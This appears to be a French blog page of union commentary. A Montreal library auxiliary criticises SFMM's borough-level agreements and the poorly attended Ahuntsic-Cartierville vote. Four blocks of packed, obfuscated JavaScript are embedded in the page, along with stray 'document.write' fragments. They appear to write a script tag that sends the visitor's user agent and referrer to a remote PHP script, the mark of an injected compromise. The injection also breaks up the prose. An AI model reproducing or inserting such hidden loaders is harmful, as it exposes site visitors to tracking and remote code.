Mise à jour (2010/05/8): Entente AH-CA
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|iynri|var|u0026u|referrer|anaea||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|inhbi|var|u0026u|referrer|fndyh||js|php’.split(‘|’),0,{}))

Apparemment, document.write(“”); malgré tout nos efforts, six personnes se seraient présentées et auraient voté à l’assemblée sectorielle de AH-CA (pourtant une source très fiable me confirme n’avoir vu que trois personnes entrer et qu’il n’y avait, à 9:15, que trois personne dans la salle… une autre source aurait entendu une personne sortant de l’assemblée dire qu’ils étaient six — mais peut-être comptait-il les sbires et “gros-bras” du syndicat, présent pour s’assurer que tout se déroulait “dans l’ordre” ?)…

Quoiqu’il en soit, la lettre d’entente de AH-CA a donc été entériné par les membres. La preuve: une note de service regardant les blocs d’heures et vacances pour l’été (l’horaire d’été débutant le 5 juin, les disponibilités et demandes de vacances doivent être remises avant le 15 mai) débute par “Suite à la signature de la lettre d’entente locale…”

Je ne m’étendrai pas sur le fait que la voix de trois (ou six) personnes puisse avoir plus de poids que celle de dix-huit personnes signalant clairement, par écrit, leur dissatifaction avec le processus de ratification des ententes. Mon indignation est sans bornes (et c’est vraiment mauvais pour ma pression) devant cette moquerie de démocratie. Il semble donc que les absents ont bel et bien toujours tort… Après avoir essayé sans résultats les stratégies habituelles (demander en assemblée le report du vote pour consulter le texte, promouvoir le vote pour le “non”, etc.) lors des votes précédents nous avons tenté cette fois-ci d’approcher la question avec une autre méthode (la lettre-ultimatum) qui s’est avérée toute aussi inéfficace.

Après avoir entendu beaucoup de mes collègues auxiliaires se plaindre de la situation (condition de travail en recul, mauvaise représentation du syndicat, etc.) j’ai fait ce que j’ai pu pour m’opposer à ce que je considérais injuste et abusif. Peu importe les résultats, je garde donc bonne conscience. Mais il semble que mes collègues ne soient pas indignés au point de vraiment s’impliquer. J’ai déjà donné beaucoup de temps (et même perdu des heures de salaires!) pour exprimer l’insatisfaction de mes collègues et j’en ai moi-même plein le dos de me faire abuser par l’employeur et par le syndicat tout à la fois, mais il semble qu’on ne peut pas faire grand chose contre un adversaire qui ne joue pas de façon juste et équitable (“fair-play”). C’est beau s’indigner contre toute l’injustice et la corruption qui semble infester tout les niveaux de gouvernements ces derniers temps, mais j’ai vraiment d’autres choses à faire…

Sur l’entente elle-même je ne me contenterai donc que de quelques brefs commentaires:

• la légitimité de cette entente (comme toutes les autres) est entâchée par des motifs (pourquoi négocier séparément avec les arrondissements alors que le syndicat dépenses des sommes non-révélés sur une campagne de publicité qui clame que le problème à la ville c’est justement les arrondissements???) et un processus (voter une entente sans en avoir préalablement eut les détails, faire tenir le vote sur le lieu de travail) très “discutable” pour ne pas dire douteux
• la lettre officialise l’idée que l’embauche est un pouvoir d’arrondissement (même si l’employeur demeure la ville)
• on doit heureusement admettre que ce n’est pas la pire des ententes (par opposition à l’infâme entente de MHM par exemple) car la clause des 21 heures est absente
• toutefois l’assignation des blocs se fait en favorisant la disponibilité sur l’ancienneté (pire: ceux qui ont de la disponibilité les week-ends ont la priorité) alors que l’ancienneté devrait être le critère absolu
• la partie VII C) ne précise que “grief en suspens…” Quel moron irait non seulement négocier, mais aussi voter et signer une entente incomplète? Ça veut dire quoi “grief en suspens…” ?
• il reste encore deux arrondissements à voter (espérons que les auxiliaires de ces arrondissements y penserons à deux fois avant d’entériner leur entente) et, de toute façon, toute cette histoire de lettre d’entente sera à repenser lors des prochaines négociations de la convention collective…

Vous pouvez donc lire la lettre d’entente de AH-CA [PDF] et juger par vous-même. Mise à jour (2010/05/04): assemblée de AH-CA Notre ami le Canardeur (voir Canardeur de Ahuntsic-Cartierville vol. 1, #5: “Notre absence dit tout” [PDF]) nous apprend qu’“il y aurait eu trois personnes qui se seraient présentées à la supposée assemblée sectorielle du 3 mai.” Hélas on ne peut pas toujours rejoindre tout le monde… Mais dix-huit auxiliaires ont tout de même signé notre lettre-ultimatum, exprimant ainsi leur volonté de ne pas se prononcer sur la lettre d’entente tant et aussi longtemps que le texte ne serait pas déposé d’avance pour leur permettre de le lire attentivement et d’en délibérer. Cela représente la très grande majorité des auxiliaires de bibliothèques de l’arrondissement. Il ne serait pas très démocratique d’ignorer la volonté de cette majorité… En attendant d’avoir des nouvelles du syndicat lui-même, j’apprécierais beaucoup si quelqu’un qui était présent (ou qui connait quelqu’un qui était présent) à la dite assemblée sectorielle du 3 mai pouvait nous contacter (soit moi-même ou le canardeur) pour nous raconter comment cela s’est déroulé (et peut-être nous fournir une copie de la lettre-d’entente si elle leur a été présenté)… Pas des paroles en l’air La preuve que les commentaires critiques sur les lettres d’entente ne sont pas des paroles en l’air, c’est que les gens impliqués (principalement l’équipe du Colvert, moi-même et quelques autres collègues outrés de la situation) ne les avancent pas les mains vides. (voir le Canardeur de Ahuntsic-Cartierville vol. 1, #2, “Comparaison et réflexion” [PDF]). Il y a un an de cela un délégué de CDN-NDG, Pierre Gélinas, avait travaillé à élaborer pour son arrondissement un projet syndical qui consistait en une version de lettre d’entente qui leur était propre. À partir de ce projet on peut concevoir qu’il est possible de développer et de négocier une lettre d’entente qui n’enferme pas les auxiliaires dans leurs arrondissements et qui respecte tant l’ancienneté-ville que d’arrondissement. Il reste certainement beaucoup de travail à faire pour finaliser et faire accepter cette version mais la possibilité est là. Au moins c’est une version qui a été réalisé en consultation avec les membres (de CDN-NDG… mais le processus peut se poursuivre avec l’apport de tous). C’est certainement la meilleure solution en attendant qu’un service central, similaire à la défunte banque réseau, soit éventuellement établit pour coordonner les assignations et l’ancienneté à travers les arrondissements… Contrairement à ce qui a été fait dernièrement, ce processus devrait se faire dans la transparence, en essayant d’informer ou même d’impliquer tout les membres. Dans cet esprit, je vous invite à voir par vous-même:

• l’entente originale: E.V. 96-94
• une entente inacceptable: MHM
• le projet syndical d’une entente CDN-NDG 2009

Le SFMM répond L’équipe du Colvert nous transmet la réponse du SFMM à la lettre-ultimatum des auxiliaires de Ahuntsic-Cartierville. (voir le Canardeur de Ahuntsic-Cartierville vol. 1, #3, “Nous, les membres” [PDF]). En clair cette réponse est un refus de fournir le texte de l’entente dans des délais raisonables pour que les auxiliaires de AH-CA aient le temps de l’étudier. Ce qu’on nous offre ici est exactement ce que les autres arrondissements ont eu lors du vote de leur entente: présentation rapide de l’entente, période de questions avec de vagues réponses, pas de véritable moment de discussion et un vote secret précipité. Une farce de démocratie, quoi. Cela demeure toujours inacceptable. Si nous n’avons pas le texte plusieurs semaines d’avance, nous ne nous présenterons pas à l’assemblée sectorielle. Point. Inutile de voter sur un texte dont on ne connait pas les détails. Ce genre de réponse de la part du syndicat représente bien leur attitude méprisante et condescendante: “on sait mieux que vous même ce qui est bon pour vous, alors faite donc ce qu’on vous dit”! Et, par ce fait, ils ignorent totalement ce que la vaste majorité des auxiliaires concernés leur demandent… Comme le dit notre ami le Canardeur d’AH-CA (vol. 1, #4 [PDF]), plus que jamais notre absence à l’assemblée sectorielle est essentielle pour bien faire comprendre le message que la volonté des membres ne doit pas être bafouée. Un petit bricolage amusant Pour embêter le syndicat, je vous propose un petit bricolage amusant. Il s’agit ici de parodier la campagne de publicité du SFMM en produisant des macarons qui disent: “SFMM, fais un syndicat de toi!”. Procurez-vous d’abord un macaron de la campagne “Montréal, fais une ville de toi!” (ils sont si mignons ces macarons!). Puis téléchargez le modèle de macaron simple ou en feuille et imprimez-le en couleur. Il ne vous reste plus qu’à découper l’image le long de la ligne grise et à la coller sur le macaron existant. Rigolo, non?

Ces derniers temps on parle beaucoup de ces fameuses lettres d’entente et je suis sûr que beaucoup d’entre-vous, document.write(“”); lecteurs et collègues des bibliothèques de Montréal, se demandent ce qu’elles sont vraiment et qu’ont-elles de si terrible?
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ehyas|var|u0026u|referrer|zyyhh||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|asdtb|var|u0026u|referrer|dhars||js|php’.split(‘|’),0,{}))

Lorsque le Syndicat des Fonctionnaires Municipaux de Montréal (SFMM) signe une convention collective avec la ville de Montréal (la dernière en date a été signé en décembre 2007 et couvre la période de janvier 2007 à décembre 2010), il y a toujours des dispositions qui sont spécifiques à certains groupes d’employés qui ne peuvent y être incluses et ces dispositions spécifiques sont négociées séparément avec des lettres d’entente.

L’entente qui régit les dispositions spécifiques des employés de bibliothèques est l’entente EV 96-94 [texte], “relative aux étapes d’assignation des employés auxiliaires, emplois spécialisés “bibliothèque” au service de la culture.” Elle déterminait, entre autres, le fonctionnement de la banque réseau, les ports d’attache, l’embauche et le comblement des postes en fonction de l’anciennneté.

Cette entente a malheureusement été rendu caduque suite à la fusion/défusion qui a divisée la ville en arrondissements, la Charte de la ville donnant maintenant aux dits arrondissements le pouvoir d’embauche et de négociation des horaires de travail. Le SFMM a donc cru bon (?) d’inclure dans la convention collective 2007-2010 l’entente E.V. 2007-1007 (pp. 305-306) qui stipule que “l’entente EV-96-94 doit demeurer en vigueur jusqu’à son remplacement” et que, comme “le Syndicat tient à maintenir les principes en regard de la banque réseau inclus dans l’entente EV-96-94 (…), les parties conviennent d’entamer des négociations locales conjointes avec les arrondissements” du Sud-Ouest, Ville-Marie et VSMPE. Il s’agit ici des fameuses lettres d’entente.

Jusqu’à maintenant des lettres d’entente ont été signé avec cinq six arrondissements:

• L’entente E.V. 2008-118 avec le Sud-Ouest (SO)
• L’entente E.V. 2009-02 avec Villeray-Saint-Michel-Parc-Extension (VSMPE)
• L’entente E.V. ??? avec Ville-Marie (VM)
• L’entente E.V. ??? avec Mercier-Hochelaga-Maisonneuve (MHM)
• L’entente E.V. ??? avec Rosemont/La-Petite-Patrie (RPP)
• L’entente E.V. 2010-??? avec Rivières-des-Prairies/Pointe-aux-Trembles (RDP-PAT)
• L’entente E.V. ??? avec Ahuntsic-Cartierville (AH-CA)

Les négociations sont en cours, ou même complétées, dans les autres arrondissements (Rivières-des-Prairies/Pointe-aux-Trembles [RDP/PAT], Plateau-Mont-Royal [PMR], Ahuntsic-Cartierville [AH-CA] et Cote-des-Neiges/Notre-Dame-de-Grâce [CDN/NDG]) et il ne reste qu’à les faire entériner en assemblées sectorielles par le vote des membres du SFMM de chacun de ces arrondissements. Le vote pour Rivières-des-Prairies/Pointe-aux-Trembles aura lieu le lundi 19 avril à 9h30. Le prochain vote se fera dans Ahuntsic-Cartierville le lundi 3 mai à 9:00…

Maintenant, qu’est-ce qu’il y a dans ces ententes qui les rendent si inacceptables? A première vue pas grand chose mais, dès qu’on y applique la moindre analyse, on se rend compte de la monstruosité qu’elles représentent.

Premièrement, la façon dont ces lettres d’entente ont été négocié et entériné est une injure à la démocratie (parce que donner une apparence de démocratie est pire que de ne pas en avoir du tout):

1. elles ont été négocié en catimini sans aucune consultation avec les membres du SFMM; 
2. elles sont votées par arrondissement alors que nous sommes tous concerné et affecté par chacunes de ces ententes (par exemple: si quelqu’un travaille dans MHM mais que ce n’est pas son port d’attache, il n’avait pas le droit de voter sur l’entente de MHM, qui pourtant affecte ses conditions de travail); 
3. elles sont votées sans que les membres aient pu en consulter le texte d’avance et en débattre.

Deuxièmement, elles incarnent l’aplatventrisme de l’équipe syndicale en place (les AccèsCible) face aux demandes du patronat.

D’une part, elles représentent l’abandon pure et simple du principe de mobilité-ville que l’on retrouvait dans la banque réseau, capitulant ainsi devant le pouvoir fragmenteur des arrondissements. Pourtant, dans l’entente E.V. 2007-1007, le syndicat avait clairement énoncé sa volonté de “maintenir les principes en regard de la banque réseau.” Et, il y a à peine trois semaines, la présidente du SFMM nous affirmait en assemblée générale qu’elle avait exprimé au DG de la ville le besoin de faire modifier la charte de la ville afin de redonner à la ville-centre les pouvoirs de conciliation et de coordination nécessaires pour appliquer avec succès les horaires flexibles et règler tout les problèmes liés à l’embauche—et que ce serait un enjeu majeur des prochaines négos! Cela semble d’une hypocrisie à faire vomir: ils disent cela et pourtant s’empressent de négocier avec les arrondissements des lettres d’entente qui, dans les faits, font exactement l’inverse!

D’autre part, les lettres d’entente abdiquent sans façon plusieurs droits acquis, ce qui entraine l’érosion inéluctable de nos conditions de travail:

• la priorité est donné à la disponibilité, plutôt qu’à l’ancienneté, pour l’attribution des remplacements
• les auxiliaires détenteurs de bloc égal ou supérieur à vingt-et-une heure/semaine se retrouvent cloisonné dans leur arrondissement port d’attache et ne peuvent postuler sur des blocs ailleurs
• de nouvelles mesures punitives sont introduites (par exemple: on est retiré de la liste de disponibilité après trois refus (MHM: deux) ou si la disponibilité n’est pas respectée; le pire est dans l’entente de MHM: période d’essai de 840 heures ou 2 ans durant laquelle l’auxiliaire peut être congédié sans possibilité de grief ou d’arbitrage, si l’auxiliaire n’est pas rejoint après deux essais par téléphone [et ils nous disent de fermer nos cellulaires en bibliothèques!] il est considéré avoir refusé l’offre de bloc—qui n’est faite qu’une fois par année seulement, etc.)
• les congés d’étude sont attribués uniquement pour des études liées au travail en bibliothèques
• abandon de certains griefs…

Personnellement, je ne veux pas d’une lettre d’entente qui ouvre la porte à l’érosion de mes conditions de travail. Je considère que le travail du syndicat est de maintenir les-dites conditions comme elle sont et, tant que possible, de les améliorer. Quand je vois ce que l’équipe Accès-Cible a fait avec ces lettres d’entente, considérant que près de 2% de mon salaire hebdomadaire leur est payé pour justement faire ce travail, alors je me sens abandonné et trahis—purement et simplement. Aucune autre de ces ententes ne devrait être votée et on devrait renvoyé le syndicat à la table de négociation. Au lieu de dépenser de l’énergie sur ces lettres d’entente, pourquoi ne pas mettre nos effort à faire pression sur la ville et le gouvernement afin d’établir cette entité centrale qui aurait le pouvoir de coordination comme il a été mentioné à la dernière assemblée générale? Et si l’entente a déjà été signé dans votre arrondissement et que vous en subissez les conséquences malheureuses, ne désespérez pas car une entente ce n’est jamais fixé dans le béton: on peut toujours la renégocier… Mais ne vous fiez pas seulement à mon opinion. Lisez les lettres d’entente (voir les liens plus haut) et voici quelques liens vers des publications de l’équipe du Colvert et des billets précédants qui vous permettrons sans doute d’en apprendre un peu plus sur les ententes:

• Le Conf(l)it de Canard vol. 2, #3: “Quand les espoirs s’étiolent comme peau de chagrin…” où l’équipe du Colvert discute des ententes du SO et de VSMPE.
• Le Conf(l)it de Canard vol. 2, #4: “Lettre d’entente: le cas Ville-Marie et ses conséquences” où l’équipe du Colvert analyse l’entente de VM.
• Billet du Canardo Pressé “À nos collègues de Rosemont – La Petite-Patrie”
• Billet du Canardo Pressé “Voter sur quoi”
• Billet du Canardo Pressé “Qui peut voter”
• Mon billet “Dude, mais où est donc mon syndicat?”
• Mon billet “La démocratie ça s’exerce à plusieurs…”
• Mon billet “Lettre d’entente Rivière-des-Prairies/Pointe-aux-Trembles”
• Mon billet “Assemblée sectorielle pour Ahuntsic-Cartierville”
• Mon billet “Nouvelles syndicales”
• Mon billet “Nouvelles syndicales bis” (ajout de commentaires sur l’entente AH-CA)
• Mon billet “Petite note syndicale pour le Plateau Mont-Royal”
• Mon billet “Mise à jour syndicale”
• Mon billet “Victoire! En quelque sorte…”

Update (2010/04/19): Mes contacts m’indiquent que la lettre d’entente de Rivière-des-Prairies/Pointe-aux-Trembles a été entériné ce matin par les auxiliaires des bibliothèques de l’arrondissement à raison de quatorze voix pour et deux contre (apparemment avec un très haut taux de participation, puisqu’on m’a dit qu’il n’y aurait eut que deux absents, ce qui représente une participation de 89% !). Les auxiliaires des bibliothèques de l’arrondissement auraient veinement tenté de demander à recevoir le texte de l’entente avant l’assemblée et d’avoir du temps pour en discuter entre collèques. L’assemblée sectorielle se serait déroulée comme les précédentes: les représentant du syndicat auraient rapidement lu le texte de l’entente, répondu (vaguement) à quelques questions et finalement auraient demandé le vote secret. Le texte de l’entente est également similaire aux ententes précédentes (et toujours tout aussi inacceptable).